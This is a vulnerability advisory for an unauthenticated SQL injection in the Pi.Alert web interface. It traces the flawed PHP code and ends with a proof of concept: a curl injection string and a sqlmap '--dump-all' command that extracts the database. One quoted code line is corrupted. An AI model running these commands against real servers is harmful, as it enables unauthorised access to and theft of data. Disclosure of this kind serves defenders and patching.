💡
This is tracked as CVE-2026-44886.
Pi.Alert - Unauthenticated SQL Injection

Pi.Alert (>= 2024-06-29) is vulnerable to SQL injection, allowing attackers to dump all data in the database. The vulnerable endpoint accepts requests from unauthenticated attackers, even when password authentication is enabled.

The /pialert/php/server/devices.php route accepts unauthenticated requests when the action=getDevicesTotals parameter is passed. The scansource URL parameter is then used to construct the SQL query without proper sanitisation.

Code Flow

All code snippets can be found in /pialert/php/server/devices.php.

Firstly, we set ?action=getDevicesTotals to bypass the auth check.

if ($_SESSION["login"] != 2) {
	if ($_REQUEST['action'] != "getDevicesTotals") {
		header('Location: ../../index.php');
		exit;
	}
}

?action=getDevicesTotals results in getDevicesTotals() getting called.

if (isset($_REQUEST['action']) && !empty($_REQUEST['action'])) {
	$action = $_REQUEST['action'];
	switch ($action) {
	//...
	case 'getDevicesTotals':getDevicesTotals();
		break;
	//...
}

getDeviceTotals() constructs a raw SQL query using user provided input. Part of the query is constructed from getDeviceCondition(..., $_REQUEST['scansource']).

function getDevicesTotals() {
	global $db;

	if (!$_REQUEST['scansource']) {$scansource = 'local';} else {$scansource = $_REQUEST['scansource'];}
	// Step 3: Pass `?scansource=<PAYLOAD>` to `getDevicesTotals()` and inject into SQL query
	$result = $db->query(
		'SELECT
        (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('all',$scansource) . ') as devices,
        (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('connected',$scansource) . ') as connected,
        (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('favorites',$scansource) . ') as favorites,
        (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('new',$scansource) . ') as new,
        (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('down',$scansource) . ') as down,
        (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('archived',$scansource) . ') as archived,
        (SELECT COUNT(*) FROM Devices ' . getDeviceCondition('presence',$scansource) . ') as presence
   ');
   
    // Step 5: SQL query is executed
	$row = $result->fetchArray(SQLITE3_NUM);
	echo json_encode(array($row[0], $row[1], $row[2], $row[3], $row[4], $row[5], $row[6]));
}

getDeviceCondition(...) does not perform sanitisation as can be seen below.

function getDeviceCondition($deviceStatus, $scansource) {
    if ($scansource == "all") {$scansource_query = "";} else {$scansource_query = 'dev_ScanSource="'.$scansource.'" AND ';}
	switch ($deviceStatus) {
	case 'all':return 'WHERE '.$scansource_query.'dev_Archived=0';
		break;
	case 'connected':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresentLastScan=1';
		break;
	case 'favorites':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_Favorite=1';
		break;
	case 'new':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_NewDevice=1';
		break;
	case 'down':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_AlertDeviceDown=1 AND dev_PresentLastScan=0';
		break;
	case 'archived':return 'WHERE '.$scansource_query.'dev_Archived=1';
		break;
	case 'presence':return 'WHERE '.$scansource_query.'dev_Archived=0 AND dev_PresencePage=1';
		break;
	default: return 'WHERE '.$scansource_query.'AND 1=<Cloudflare :(>';  
		break;
	}
}

PoC

Firstly, check if the server is vulnerable.

curl \
    --get \
    --data 'action=getDevicesTotals' \
    --data-urlencode 'scansource=local" OR "1"="1' \
    'http://<host>/pialert/php/server/devices.php'

# Example output
#[9,9,9,9,9,9,9]

An array of identical numbers that are not zero indicated the server is vulnerable.

Secondly, use sqlmap to exfiltrate data in the database.

sqlmap \
    -u 'http://<host>/pialert/php/server/devices.php?action=getDevicesTotals&scansource=local' \
    -p scansource \
    --batch \
    --level=2 \
    --dump-all

Disclosure Timeline

Web Interface Vulnerable to Unauthenticated Blind SQL Injection
# Summary The web application endpoint is vulnerable to SQL injection. Attackers can dump all data in the database. The vulnerable endpoint permits requests from unauthenticated attackers, even…
Pi.Alert - Unauthenticated SQL Injection